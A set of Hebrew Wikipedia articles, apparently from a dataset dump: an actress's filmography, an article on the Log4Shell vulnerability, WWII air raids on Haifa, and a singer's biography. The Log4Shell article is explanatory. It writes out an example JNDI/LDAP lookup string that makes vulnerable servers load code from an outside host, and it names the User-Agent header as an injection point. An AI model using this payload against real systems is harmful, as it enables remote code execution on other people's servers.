stanford-oval/wikipedia huggingface dataset:
הונג צ'או
פילמוגרפיה > בקולנוע

| שנה | כותרת | תפקיד | הערות |
| --- | --- | --- | --- |
| 2014 | סגן אינהרנטי | ירקן |  |
| 2017 | לחיות בקטן | נגוק לאן טראן |  |
| 2018 | חמאת ברווז | להט |  |
| 2019 | Driveways | קתי |  |
| 2019 | American Woman | ג'ני שימאדה |  |
| 2020 | ארטמיס פאול | אופל קובוי | תפקיד קולי ללא קרדיט; נראה בסצנה שנמחקה |
| 2022 | Showing Up | ג'ו טראן |  |
| 2022 | הלוויתן | ליז |  |
| 2022 | התפריט | אלזה |  |
| 2023 | אסטרואיד סיטי | פולי גרין |  |
| 2024 | סוג של חסד | שרה / שרון / אקא |  |
| 2024 | המסיתים | ד"ר דונה ריביירה |  |
| 2026 | אנקת גבהים | נלי דין |  |
| 2026 | Three Bags Full: A Sheep Detective Movie | TBA | פוסט פרודקשן |
פילמוגרפיה > טלוויזיה

| שנה | סדרה | תפקיד | הערות |
| --- | --- | --- | --- |
| 2006 | למצוא את אמריקה שלי | מין | בפרק: "The Road Trip Begins" |
| 2008 | התוכנית של שרה סילברמן | מסאג'יסטים אסיאתית | בפרק: "Patriot Tact" |
| 2010 | איך פגשתי את אמא | קוק פו | בפרק: "Perfect Week" |
| 2010 | Trenches | ווינג | תפקיד ראשי (10 פרקים) |
| 2010 | NCIS | טכנאית מעבדה מולי צ'וי | בפרק: "Jurisdiction" |
| 2010 | My Boys | אודרי | בפרק: "Puss 'N' Glutes" |
| 2010 | מה שאבא שלי אומר | DJ | בפרק: "Code Ed" |
| 2011–2013 | טרמיי (אנ') | לין | 13 פרקים |
| 2012 | CSI | ג'ולי בלאנץ' | בפרק: "Ms. Willows Regrets" |
| 2012 | גוד לאק צ'ארלי | תרזה | בפרק: "Welcome Home" |
| 2014–2015 | A עד Z | לורה | תפקיד ראשי (13 פרקים) |
| 2017 | שקרים קטנים גדולים | ג'קי | 6 פרקים |
| 2017 | אבא אמריקאי | מרגלת קוריאנית (קול) | בפרק: "Casino Normale" |
| 2018 | בוג'ק הורסמן | פיקלס אפלנטי (קול) | 5 פרקים |
| 2018 | לנצח | שרה | בפרק: "Andre and Sarah" |
| 2018–2020 | הומקאמינג (אנ') | אודרי טמפל | תפקיד ראשי (11 פרקים) |
| 2019 | השומרים | ליידי טריאו | תפקיד ראשי (4 פרקים) |
| 2023 | פוקר פייס | מרג' | בפרק: "The Night Shift" |
| 2023 | סוכן הלילה | דיאן פאר | תפקיד ראשי; 10 פרקים |
פילמוגרפיה > תיאטרון

| שנה | מחזה | תפקיד | הערות |
| --- | --- | --- | --- |
| 2015 | ג'ון | ג'ני | אוף ברודוויי |
פרסים

לצ'או היה תפקיד משנה בסרט לחיות בקטן ב-2017 עליו הייתה מועמדת למספר פרסים לשחקנית המשנה הטובה ביותר, כולל פרס גלובוס הזהב לשחקנית המשנה הטובה ביותר – פרס גילדת שחקני הקולנוע והמסך על הופעה יוצאת מן הכלל של שחקנית בתפקיד משנה. היא נחשבה למועמדת לפרס האוסקר לשחקנית המשנה הטובה ביותר בטקס האוסקר ה-90, אך בסוף לא נכללה ברשימת המועמדות.
לצ'או היה גם תפקיד משנה בסרט "הלוויתן" משנת 2022 עליו הייתה מועמדת לפרס האוסקר לשחקנית המשנה הטובה ביותר בפעם הראשונה. היא גם הייתה מועמדת לפרסי שחקנית משנה נוספים, כולל פרס הסרט העצמאי של Gotham לביצועי משנה יוצאי דופן, פרס באפט"א לשחקנית הטובה ביותר בתפקיד משנה, ופרס סאג להופעה יוצאת דופן של שחקנית בתפקיד משנה.
Log4Shell

Log4Shell (קוד: CVE-2021-44228) הוא השם שניתן לחולשה בספרייה Log4j, ספריית לוגים פופולרית של Java, המאפשרת הרצת קוד שרירותי (Remote Code Execution). פגיעה זו, שלא הבחינו בקיומה מאז 2013 - נחשפה באופן פרטי לקרן התוכנה אפאצ'י, ש-Log4j הוא פרויקט שלה, על ידי צוות האבטחה בענן של קבוצת עליבאבא ב-24 בנובמבר 2021, ונחשפה בפומבי ב-9 בדצמבר 2021.
קרן Apache העניקה ל-Log4Shell דירוג חומרת CVSS של 10, הגבוה ביותר האפשרי. ההערכה היא שהפגיעות משפיעה על מאות מיליוני מכשירים.
החולשה מנצלת את היכולת של Log4j המאפשרת בקשות לשרתי LDAP ו-JNDI שרירותיים, מבלי לבדוק את התגובות. בקשות אלו מאפשרות לתוקפים להריץ קוד Java שרירותי בשרת או במחשב אחר, או להדליף מידע רגיש.
שירותים רבים התגלו כפגיעים לחולשה, ורשימה של פרויקטי התוכנה המושפעים פורסמה על ידי צוות האבטחה של Apache. השירותים המסחריים המושפעים כוללים את AWS, Cloudflare, iCloud, Minecraft: Java Edition, סטים Tencent QQ ועוד רבים אחרים.
Log4Shell היא אחת מהחולשות החמורות ביותר שהתגלו מעולם. חברת LunaSec אפיינה את הפגיעות כ"כשל עיצובי בעל פרופורציות קטסטרופליות", חברת Tenable אמרה כי החולשה הייתה "הפגיעות הגדולה והקריטית ביותר אי פעם", ו- Ars Technica כינתה זאת "ללא ספק הפגיעה החמורה ביותר אי פעם".
רקע

Log4j היא ספריית קוד פתוח המאפשרת למפתחי תוכנה לרשום (log) נתונים בתוך האפליקציות שלהם. נתונים אלה יכולים לכלול קלט משתמש. הספרייה נמצאת בשימוש כמעט בכל מקום ביישומי Java, במיוחד בתוכנות ארגוניות.
הספרייה נכתבה במקור בשנת 2001 על ידי Ceki Gülcü, וכעת היא חלק מ- Apache Logging Services, פרויקט של קרן התוכנה אפאצ'י. חבר בוועדת אבטחת הסייבר לשעבר של הנשיא ברק אובמה, טום קלרמן, תיאר את אפאצ'י כ"אחת התומכות הענקיות של גשר המאפשר את רקמת החיבור בין עולמות היישומים וסביבות המחשב".
תיאור

ממשק ה-JNDI של Java (בראשי תיבות: ה-Java Native Direcotry Interface), מאפשר חיפוש של אובייקטי Java בזמן ריצה בהינתן כתובת למקום שמאחסן את הנתונים שלהם. JNDI יכול לעבוד עם מספר ממשקי Directory, כאשר כל אחד מספק "סכימה" שונה של חיפוש קבצים. בין הממשקים הללו ניתן למצוא את LDAP, המאחזר את נתוני האובייקט ככתובת URL משרת מתאים, מקומי או מכל מקום באינטרנט.
בקונפיגורציה הרגילה, כאשר log4j כותבת הודעת לוג, מתבצעת פעולת חיפוש והחלפה של מחרוזות מיוחדות מהצורה  {prefix:name}$ בתוך ההודעה הנכתבת. חלק מהתבניות המיוחדות שיכולות להיות מזוהות היא הצורה{<jndi:<lookup}$; על ידי הכנסת מחרוזת כזו עם שרת lookup בשליטת התוקף (מסוג LDAP, למשל), הספרייה תפנה לכתובת ה-URL הרשומה באמצעות פרוטוקול ה-LDAP ותטען את הנתונים בו כאובייקטי Java. כך לדוגמה, ניסיון הדפסה של המחרוזת {jndi:ldap://example.com/file}$, יגרור טעינה של הקוד שמאוחסן בכתובת זו, גם אם מדובר בשרת חיצוני.
משום שבקשות HTTP נכתבות פעמים רבות ללוג, ווקטור תקיפה נפוץ הוא הכנסה של המחרוזת הזדונית לתוך HTTP Header שמתועד פעמים רבות, כגון User-Agent.
מניעה

התיקון עבור פגיעות אלו פורסמו ב-6 בדצמבר 2021, שלושה ימים לפני פרסום הפגיעות, בגרסה 2.15.0-rc1 של Log4j. התיקון כלל הגבלת השרתים והפרוטוקולים שניתן להשתמש בהם לצורך חיפושים (lookups) של אובייקטים. לאחר מכן חוקרים גילו באג קשור, CVE-2021-45046, המאפשר הרצת קוד בצורה מקומית או מרוחקת בתצורות מסוימות שאינן ברירת מחדל. באג זה תוקן בגרסה 2.16.0, אשר השביתה את כל תכונות ה-JNDI ואת תמיכה בחיפושי הודעות (message lookups).
עבור גרסאות קודמות, מומלץ להסיר את המחלקה org.apache.logging.log4j.core.lookup.JndiLookup ממשתנה ה-classpath כדי למנוע ניצול של שתי הפגיעויות. בנוסף, ניתן לשנות את ה-system property בשם log4j2.formatMsgNoLookups ל- true, אך שינוי זה אינו מונע ניצול של CVE-2021-45046.
גרסאות חדשות יותר של Java Runtime Environment (JRE) מפחיתות את הפגיעות הזו על ידי חסימת טעינת קוד מרחוק כברירת מחדל, אם כי וקטורי תקיפה אחרים עדיין קיימים ביישומים מסוימים. פורסמו מספר שיטות וכלים כדי לסייע בזיהוי של שימוש בגרסאות log4j פגיעות בחבילות Java.
ניצול

החולשה מאפשרת להאקרים להשיג שליטה על מכשירים פגיעים באמצעות Java. ההאקרים משתמשים בפגיעות כדי לנצל את היכולות של מכשירי הקורבנות; השימושים כוללים כריית מטבעות קריפטוגרפיים, יצירת רשתות בוטים, שליחת דואר זבל ופעילויות לא חוקיות אחרות כגון התקפות כופר. בימים שלאחר פרסום הפגיעות, חברת צ'ק פוינט עקבה אחרי מיליוני התקפות שיזמו האקרים, כאשר כמה חוקרים צפו בקצב של למעלה ממאה התקפות לדקה, שהביא בסופו של דבר לתוצאה של מעל 40% מהרשתות העסקיות בעולם שהותקפו.
לדברי מנכ"ל Cloudflare, מתיו פרינס, עדויות לשימוש או בדיקה להימצאות של החולשה נצפו כבר ב-1 בדצמבר, תשעה ימים לפני שהחולשה נחשפה בפומבי. בנוסף, לדברי GreyNoise, חברת אבטחה מקוונת, מספר כתובות IP כבר סרקו אתרים במקרה למצוא שרתים פגיעים. כמה botnets התחילו לסרוק את הפגיעות, כולל Muhstik botnet, כמו גם "מיראי", צונאמי ו-XMRig. כמה קבוצות מדינתיות בסין ובאיראן ניצלו את הפגיעות, לפי צ'ק פוינט.
תגובה והשפעה > ממשלות

בארצות הברית, מנהל הסוכנות לאבטחת סייבר ותשתיות (CISA), ג'ן איסטרלי, תיאר את החולשה כ"אחת הרציניות שראיתי בכל הקריירה שלי, אם לא החמורה ביותר", והסביר כי מאות מיליוני מכשירים הושפעו תוך שהוא מייעץ לספקים לתעדף עדכוני תוכנה.
המרכז הקנדי לאבטחת סייבר (CCCS) קרא לארגונים לנקוט בפעולה מיידית. סוכנות ההכנסה של קנדה סגרה זמנית את השירותים המקוונים שלה לאחר שנודע על החולשה, בעוד שממשלת קוויבק סגרה כמעט 4,000 מאתרי האינטרנט שלה כ"צעד מונע".
המשרד הפדרלי לביטחון מידע הגרמני (BSI) הגדיר את החולשה כרמת האיום הגבוהה ביותר של הסוכנות, וכינה אותה "מצב איום קריטי ביותר" (מתורגם). הארגון גם דיווח כי מספר התקפות כבר היו מוצלחות וכי עדיין קשה להעריך את היקף הניצול. מרכז אבטחת הסייבר הלאומי של הולנד (NCSC) החל ברשימה מתמשכת של יישומים פגיעים.
תגובה והשפעה > עסקים

חברת ניהול משאבי אנוש וניהול כוח אדם, UKG, אחד העסקים הגדולים בתעשייה, הייתה מטרה למתקפת כופר שהשפיעה על עסקים גדולים. UKG מסרה כי אין לה ראיות לניצול של Log4Shell בתקרית, אם כי האנליסט אלן ליסקה מחברת אבטחת הסייבר Recorded Future אמר כי ייתכן שיש קשר.
כאשר חברות גדולות יותר החלו לשחרר תיקונים לחולשה, הסיכון לעסקים קטנים גדל כאשר האקרים התמקדו ביעדים פגיעים יותר.
ראו גם

הזרקת SQL
הפצצת חיפה במלחמת העולם השנייה

| --- | --- |

הפצצת בתי הזיקוק של חיפה
 תאריך:  יולי - ספטמבר 1940
 מקום:  חיפה, ארץ ישראל
 תוקף:  חיל האוויר האיטלקי
 אבדות:  לפחות 86 הרוגים ו-156 פצועים
הפצצת חיפה במלחמת העולם השנייה היייתה סדרה של הפצצות מן האוויר שביצעו חילות האוויר של מדינות הציר על חיפה וסביבתה בשנים 1940-1942. במהלך מלחמת העולם השנייה.
בסך הכל, לאורך המלחמה חיפה הופצצה 16 פעמים על ידי חיל האוויר האיטלקי, שלוש פעמים על ידי חיל האוויר הצרפתי ו-5 פעמים נוספות על ידי הלופטוואפה.
רקע

בחודשים הראשונים של מלחמת העולם השנייה הייתה המלחמה רחוקה מגבולות ארץ ישראל, ולאנשי היישוב נראה היה כי זו מלחמה המתחוללת באירופה שלא תגיע לגבולות הארץ. המפנה התחולל לאחר נפילת צרפת ביוני 1940, והצטרפותה של איטליה הפשיסטית למלחמה לצד גרמניה. הצבא האיטלקי בלוב, שהייתה אז תחת שלטון איטלקי, החל בהכנות לתקוף את מצרים. באי רודוס, הנמצא במרחק טיסה קצרה מארץ ישראל, עגנו ספינות הצי האיטלקי וחנו מטוסי חיל האוויר האיטלקי. הסכנה הגיעה גם מצפון, כאשר סוריה ולבנון, שהיו תחת שלטון צרפתי, עברו לשליטת שלטון וישי הפרו-נאצי.
חיפה כיעד אסטרטגי

לאחר שאיטליה הצטרפה למלחמה לצדה של גרמניה, היא שאפה להשיג שליטה בים התיכון ולתקוף את מקורות הדלק של הצבא הבריטי. יעד ראשי לכך הייתה העיר חיפה, בגלל יכולתם של בתי הזיקוק שבמפרץ חיפה להפיק כמיליון טונות של דלק בשנה מן הנפט הגולמי שהוזרם אליהם באמצעות צינור הנפט כירכוכ-חיפה. בסיס חיל האוויר האיטלקי הקרוב ביותר לארץ ישראל היה באי רודוס, ובו הוצבה ביולי 1940 טייסת של מטוסי הפצצה מסוג סבויה מרקטי SM.79. זמן קצר לאחר הצבת הטייסת באי הגיעו מטוסיה לחופי ארץ ישראל והחלו בשורת הפצצות על חיפה, ובהמשך גם הפציצו את תל אביב.
גם שלטונות המנדט וגם היישוב היהודי בארץ, נקטו במגוון אמצעים להתגונן בפני התקיפות הצפויות: הוקם מערך של צופרי אזהרה, נערכו הכנות ותרגילים של האפלה (למקרה של תקיפות בלילה, האפלה מקשה על האויב לנווט אל מקור האור), נבנו מקלטים, נערכו אספות הסברה ותרגילי פינוי ואושרו תוכניות פינוי בעת הצורך (במקרה של נזקים גדולים למבנים ושריפות), והוכן מלאי מזון לחירום.
תקיפות חיל האוויר האיטלקי > התקיפה הראשונה

התקיפה האווירית הראשונה על ארץ ישראל הייתה כאשר חיפה הופצצה על ידי חיל האוויר האיטלקי ב-15 ביולי 1940. עשרה מטוסי סבויה-מרקטי טסו בשני גלים בני חמישה מטוסים. הם חצו את קו החוף צפונית לעתלית בגובה רב מעל העננים והפציצו את חיפה בסביבות השעה 9:15 בבוקר באזור התעשייה במפרץ חיפה. כחמישים פצצות פגעו פגיעה מדויקת במתקן זיקוק ומחסנים של חברת הדלק "של", גרמו נזק לציוד, והבעירו מספר דליקות. ארבעה אנשים נפצעו ואחד מהם, פועל ערבי, מת לאחר מכן מפצעיו. בחיפה הושמעה צפירת אזעקה ואנשי הג"א יצאו לרחובות, אך רובעי המגורים והמסחר של חיפה לא הופצצו. לאחר שהושמעה צפירת הרגעה שבו החיים בעיר למסלולם. מטוס סיור איטלקי דיווח יומיים לאחר מכן שהאש באזור עדיין בוערת.
תקיפות חיל האוויר האיטלקי > התקיפה השנייה

ב-24 ביולי שוב תקפו מטוסי חיל האוויר האיטלקי את חיפה וגרמו לפגיעות ברכוש ולריבוי נפגעים. בסביבות השעה תשע בבוקר הגיעו עשרה מטוסים מדגם  SM 79 בשני גלים מכיוון דרום מערב, כשהם טסים בגובה רב מעל העננים. אש מתותחי נ"מ נורתה לעברם והסיטה את מסלולם מכיוון בתי הזיקוק לצד מערב מבלי שפגעו בבתי הזיקוק. המטוסים הטילו כמאה פצצות שכמחציתן נפלו לים. אחת מהן פגעה בסירת דיג ערבית ושני דייגים נהרגו. הפצצות שהוטלו ליבשה התפזרו על שטח גדול בפרברי העיר. אחת פגעה בגג המוסך של משטרת המנדט וגרמה לשריפה, אך ללא נפגעים. עיקר הנזק נגרם למתקני חברת הדלק "של", שפרצה בהם דליקה בה נספו עשרות אנשים. שתי פצצות נפלו בשכונת הדר הכרמל. האחת התפוצצה ברחוב וגרמה להתהפכות משאית שנהגה נהרג. השנייה פגעה בבית מגורים אך לא התפוצצה. בסך הכל נהרגו במתקפה 46 איש ו-88 נפצעו. כשנשמעה צפירת האזעקה נכנסו תושבי חיפה למקלטים פרטיים וציבוריים, ובמקומות ללא מקלטים, הסתתרו התושבים בחדרי המדרגות. כשנשמעה צפירת הרגעה, החיים בעיר חזרו למסלולם.
הלווית קורבנות ההפצצה נערכה עוד באותו יום בשעה חמש אחר הצהרים בהשתתפות קהל רב. האירוע רב-הנפגעים הכה גלים ברחבי הארץ, שעד אז כמעט ולא נפגעה מאירועי המלחמה, ולעיר הגיעו עוד באותו יום, נציגי הסוכנות היהודית והוועד הלאומי, בהם משה שרת (אז שרתוק) יושב ראש המחלקה המדינית של הסוכנות, אברהם קצנלסון ראש מחלקת הבריאות של הסוכנות והוועד הלאומי, ושמואל פסמן מפעילי ההתיישבות.
תקיפות חיל האוויר האיטלקי > התקיפה השלישית

התקיפה השלישית אירעה ב-6 באוגוסט 1940. גם הפעם בוצעה התקיפה על ידי עשרה מטוסים. בתקיפה זו היו מעט נפגעים יחסית לתקיפה הקודמת, אך נגרמו נזקים לרכוש. ההפצצה אירעה בשעות הבוקר המוקדמות. לאחר שתי ההפצצות הראשונות תגברו הבריטים את מערך הנ"מ ואת המטוסים התוקפים קידמה הפעם אש נ"מ עזה. כתוצאה מכך הוטלו רוב הפצצות לים. הנזק שנגרם היה כתוצאה מפצצות שנפלו על שלושה מכלי דלק בשטח בתי הזיקוק ושלוש מאות טון דלק נשרפו. תשעה עשר אנשים נפצעו, רובם פציעות קלות. אדם אחד נהרג. בין הפצועים היו פועלים ערבים אחדים וההרוג היה אף הוא ערבי. בעקבות זאת ערך הציבור הערבי עצרת מחאה ביפו בה השתתפו מאות אנשים.
תקיפות חיל האוויר האיטלקי > התקיפה הרביעית

מתקפה קטלנית נוספת אירעה ב-21 בספטמבר בשעות אחר הצהריים. הופצצו אזורי מגורים ואזורי תעשייה. ברובע הערבי נפגעו בתי מגורים ומסגד ופרצו מספר דליקות. פצצה נפלה בבית קברות מוסלמי והרסה מספר קברים. 40 איש נהרגו ו-68 נפצעו. מאחר שהתקיפה הייתה ביום שבת לא היו יהודים ברחובות שהופצצו ורוב הנפגעים היו ערבים. רבים מן ההרוגים נהרגו מפצצה שהוטלה על בית קפה ערבי הסמוך למסגד איסתיקלאל ("מסגד העצמאות") בפינתה הצפון מערבית של כיכר פייסל.
תותחני נ"מ של הצבא הבריטי ירו לעבר המטוסים וזיהו פגיעות בשניים מהם, במהלך דרכם חזרה לבסיסם נאלץ אחד המטוסים שנפגעו לנחות נחיתת אונס בטורקיה ו-6 אנשי צוותו נעצרו בידי הטורקים. ככל הנראה התרסקו מטוסים נוספים בים מדרום לאנטליה, אך רוב אנשי הצוות נספו ורק אחד מהם נמשה מהים על ידי הטורקים שעצרו גם אותו.
בעקבות ההפצצה, שגרמה לריבוי נפגעים בקהילה הערבית בחיפה, פרסמה המועצה המוסלמית העליונה הודעת מחאה. הנהלת הוועד הלאומי שלחה מברק לראש עיריית חיפה שבתי לוי בו נכתב: "היישוב העברי משתתף בצערה של חיפה בכלל והעדה הערבית בפרט לרגל קורבנות ההתקפה המתועבת של מטוסי האויב שקיפחו את חייהם של עשרות תושבים שלווים".
תקיפות אוויריות צרפתיות וגרמניות בהמשך המלחמה

הפצצת 21 בספטמבר 1940 הייתה ההפצצה האחרונה של חיל האוויר האיטלקי על חיפה, אך בזאת לא תמו אירועי המלחמה בעיר.
ב-25 ביוני 1941, בעת המערכה בסוריה ובלבנון, כאשר כוחות הצבא הבריטי וצבא צרפת החופשית פלשו לסוריה ולבנון כדי לכבוש אותן מידי כוחות צבא צרפת של וישי, תקפו מספר מטוסים צרפתיים מכוחות וישי מטרות אחדות באזור עכו וחיפה וגרמו לנזקים מועטים ולפציעת אדם אחד. ב-3 ביולי תקפו שוב מטוסים צרפתים מכוחות וישי את חיפה. ההתקפה גרמה נזק קל למספר בתים וחנויות ואדם אחד נפצע קל.
גם הלופטוואפה, חיל האוויר של גרמניה הנאצית, השתתף בתקיפות האוויר על חיפה. המניע לתקיפות אלו היה הלחץ הבריטי על סוריה שהית תחת שלטון וישי, ממשלת וישי דרשו מהגרמנים להפציץ את הנמלים הבריטיים באזור. הגרמנים תקפו את חיפה לראשונה בליל 9 ביוני 1941 כ-20 מטוסים המריאו מרודוסוהפציצו את אזור חיפה בשעה 1 בלילה. בליל 12 ביוני שבו המטוסים הגרמנים לתקוף את חיפה. התקיפה נמשכה כשלוש שעות רצופות כאשר בכל פעם מטוס אחד מטיל פצצות אך נוצר זרם בלתי פוסק של הפצצות מכ-30 מטוסים בסך הכל. ההפצצות גרמו לנזק קל בלבד, אך אדם אחד נהרג ואחד נפצע. הגרמנים הפציצו את חיפה פעמיים נוספות, בליל 7 ביולי ובליל 20 ביולי. בשתי ההפצצות התקיפו מטוסי יונקרס את מתקני בתי הזיקוק, אך הנזק שנגרם בהפצצה הראשונה לא היה חמור אך גרם לגל גדול של נטישת אזור חיפה על ידי תושבים ערבים לנצרת, טול-כרם וג'נין. בהפצצה השנייה נגרמו נזקים למספר מכלי דלק ולמתקני זיקוק. שתי תקיפות אלו היו האחרונות שפגעו בחיפה עד לתום המלחמה.
ראו גם

הפצצת תל אביב במלחמת העולם השנייה
לקריאה נוספת

מרדכי נאור, ספר המאה, היסטוריה מצולמת של ארץ ישראל במאה העשרים, הוצאת עם עובד ומשרד הביטחון – ההוצאה לאור, 1998, עמ' 201–202.
הערות שוליים

↑  חיים צרפתי, הקמת הג"א חיפה ופעילותו בזמן ההפצצות האוויריות על העיר במלחמת העולם השנייה (1942-1940), משטרה והיסטוריה 5, 2023, עמ' 13–47
↑  התקפת האויר הראשונה על ארץ ישראל, דבר, 16 ביולי 1940
1 2 3 4 5  NIR ARIELLI, [https://www.jwmww2.org/userfiles/file/2024/Haifa_is_still_Burning_Italian_German_an.pdf ‘Haifa is still Burning’: Italian, German
and French Air Raids on Palestine during
the Second World War], מוזיאון הלוחם היהודי במלחמת העולם ה - 2, ‏2010
↑  46 הרוגים, 88 פצועים קרבנות ההתקפה על חיפה, דבר, 25 ביולי 1940
↑  ההפצצה השלישית על חיפה, דבר, 7 באוגוסט 1940
↑  יגאל גרייבר, הפצצות חיל האוויר האיטלקי על חיפה במלחה"ע ה-2 | חלון להיסטוריה, באתר חי פֹּה - תאגיד החדשות של חיפה והסביבה, ‏2021-08-13
↑  מטוסי האויב התקיפו את חיפה, דבר, 22 בספטמבר 1940
↑  ההפצצה הגרמנית על חיפה 12.6.41 - מרקיע שחקים, ‏2021-07-01
הפצצת חיפה
הפצצת בתי הזיקוק
מסגד איסתיקלאל ובית הקברות המוסלמי בחיפה לאחר הפצצת חיל האוויר האיטלקי
רינת בר

| --- | --- |

 לידה:  3 במרץ 1984 (בת 41) ישראל אשדוד, ישראל
 שם לידה:  רינה באזוב
 מוקד פעילות:  ישראל
 תקופת הפעילות:  מ-1996
 עיסוק:  זמרת, יוצרת, כותבת, מלחינה
 סוגה:  מוזיקה מזרחית - ים תיכונית
 בן זוג:  אורון אפריאט
 מספר צאצאים:  3
 
רינת בר (נולדה ב-3 במרץ 1984 באשדוד כרינה באזוב) היא זמרת, מלחינה ופזמונאית ישראלית.
ביוגרפיה

בר נולדה באשדוד בשם רינה באזוב, למשפחה שעלתה מגאורגיה. לאביה איציק הייתה להקת חתונות שנקראה "לימוזין". בהיותה ילדה הייתה ניגשת לשיר במיקרופון כשסולן הלהקה יצא להפסקה, ועקב ההצלחה הצטרפה להופעותיה של הלהקה. לאחר מכך הוחתמה על חוזה אצל מפיק הלהקה.
קריירה מוזיקלית > 1996–2006: תחילת הקריירה וביסוס

ב-1996, בגיל 12, הוציאה בר את אלבומה הראשון ילדה קטנה, בו נכלל השיר "חיפשתי אהבה", שבהמשך הקליטה אותו עם תמיר גל, ודואטים של בר עם אבי ביטר "דרך החיים", ועם אבי סינואני "ילדה קטנה". כבר אז הופיעה בתוכניתו של דן שילון ונחשבה ל"ילדת הפלא של הזמר הטורקי". לאור הצלחת האלבום, פרש אביה מהלהקה והפך למנהלה האישי. ב-1998 הוציאה אלבום שני בשם הנשיקה, שהגיע למעמד של אלבום זהב, ממנו התפרסם שיר הנושא. איתן אלבז עיבד את שירי האלבום. בהמשך השנה הוציאה בחפלה גרוזינית, אלבום שלם בגאורגית, שפת האם של הוריה, שזכה להצלחה רבה. בר סיימה את לימודיה בכיתה י"א, ולא התגייסה לצה"ל. באותה שנה כתבה את השיר "בית"ר הדגל של המדינה", לכבוד זכייתה של קבוצת בית"ר ירושלים באליפות המדינה בכדורגל. במקביל להופעות בר השלימה את לימודיה.
ב-1999, הוציאה בר את האלבום כבר לא ילדה, שלא זכה להצלחה רבה, באלבום בלט השיר "פיו" (מילים של דני שושן ללחן הודי). בשנת 2019, השיר הפך ללהיט ארצי בעקבות כך שהפך לוויראלי ברשת החברתית טיקטוק. אחריו יצא אלבום האוסף להיטי זהב, שכשמו הוא אוסף מלהיטיה של בר עד אז. עם הזמן, מיתנה בר את הסלסולים בקולה מתוך מטרה להתאים לפלח קהל רחב יותר. ב-2000 הוציאה את האלבום ליידי בר, שזכה להצלחה פחותה מקודמיו.
באלבומה מלאכים, שיצא בשנת 2003, עבד איתה המעבד המוזיקלי יעקב למאי, והעבודה עליו ארכה כשנתיים. באלבום נכלל גם השיר "פגישה עיוורת", אותו כתבה בר והלחינה בעצמה, ו"תאכל את הכובע", דואט עם הזמרת לילה מלקוס. את החשיפה הגדולה שלה חבה בר לצמד חיילי הנקמה. בר ביצעה עם השניים את הדואט "אחת מאלף" שכתבו זאב נחמה ותמיר קליסקי מלהקת אתניX. באותה שנה חתמה בר את הופעתה הטלוויזיונית הראשונה (כבוגרת ולא כילדת פלא), כאשר ביצעה את השיר ״מלאכים״ במופע של אייל גולן, שצולם כספיישל לערוץ 2 דאז, עם יציאת האלבום ״ואני קורא לך״ (לאחר מס׳ שנים המופע יצא ע״ג DVD ו-CD והשיר נגנז מתוכם)
בשנת 2005 התחברה בר לזמר דניאל סלומון דרך התוכנית "מפגשיר" בערוץ 24 לשיר "סוף הקיץ". בשנת 2005 הוציאה בר את הסינגל "כמו חלום", איתו השתתפה בתחרות הקדם אירוויזיון, בה הגיעה למקום השביעי. בר כתבה והלחינה את השיר "בתלם אוהבים" ששר רגב הוד באלבומו, אני לא מלך, משנת 2006. בהמשך כתבה והלחינה להוד שירים נוספים. כמו כן שרה בר יחד עם הוד את הדואט "חולם על הירח". בשנת 2006 יצא סינגל הראשון מתוך אלבומה השביעי לעוף ברוח, "לכל אדם יש סיפור". בזמן יציאתו של האלבום באותה שנה, יצא סינגל של בר כהן בדואט עם בר, "שיר אהבה בשניים", שנכתב במיוחד ליום האהבה.
קריירה מוזיקלית > 2008–2014: חתונה ואלבומים

ביום הולדתה ה-24, פרסמה בר את הסינגל "אל תוותר", עוד באותו היום קיבלה בר הצעת נישואין מאורון אפריאט על יאכטה במרינה באשדוד שם הכירו שנתיים קודם לכן.
לקראת סוף ספטמבר 2008, בר עזבה את ישראל עם ארוסה כדי לנסות את מזלה בארצות הברית, במקביל פרסמה בארץ סינגל נוסף, "אהבה משגעת". לאור הצלחתו של הסינגל בר חזרה לארץ בדצמבר. לקראת סוף פברואר 2009, הוציאה בר סינגל שלישי, "בנק האהבה". למרות הצלחותיהם של שלושת הסינגלים, האלבום השמיני שהשירים היו מיועדים לו, נגנז, ובר פנתה לדרך חדשה בחברת המוזיקה "תטה עושים מוזיקה". לקראת חתונתה ב-2009 כתבה והלחינה שיר לכניסתם לחופה, "אהוב שלי", שלא יצא באופן רשמי אך זכה להצלחה רבה באתרי המוזיקה והשיתוף ובתחנות הרדיו. לאחר כשנתיים, הקליטה גרסה לו חדשה שבהמשך הושקה בסמוך לצאת האלבום השמיני ואף נכלל באלבום.
בדצמבר 2009 הוציאה סינגל בכורה "שמלת כלולות". הסינגל השני "הגיע הזמן" יצא באמצע ינואר 2010, ובהמשך יצא הסינגל השלישי "עֲשֵׂה לה טוב". ב-14 בפברואר 2011, יום האהבה הבינלאומי, פרסמה בר את הסינגל הרביעי מותך האלבום, חיכיתי לך. ב-27 במרץ של אותה השנה פורסם הסינגל "רק אגדה". ב-6 ביולי יצא הסינגל השישי "קרוב אלי". ב-6 בנובמבר באותה השנה, יצא הסינגל השביעי "זוכרת". ב-23 בינואר 2012, יצא הסינגל השמיני "איתך עד סוף הדרך". לפני צאת האלבום יצא סינגל נוסף "לילה חגיגה"; האודיו הרשמי שלו הופץ ביוטיוב ב-18 במרץ באותה השנה. ב-15 במרץ, יצא אלבומה השמיני והכפול, חיכיתי לך.
ב-6 בדצמבר 2012, יצא שיר הנושא המקורי של "בלדה לאביב הבוכה"; סרט קולנוע ישראלי בבימויו של בני תורתי. את שיר הנושא ביצעה בר עם הזמרת אישתאר. ביצוע נוסף לשיר מבוצע על ידי אישתאר ושחקנית הסרט הזמרת הדר גולד. ב-11 בדצמבר, יצא לאור הסינגל הראשון מאלבומה התשיעי "אני כאן מחכה" אותו כתבה והלחינה בר למתמודדות העונה הראשונה של "אייל גולן קורא לך". בר כתבה והלחינה גרסה ל"מברוק עליק" על בסיס השיר המקורי ויצא לאור ב-3 בינואר 2013.
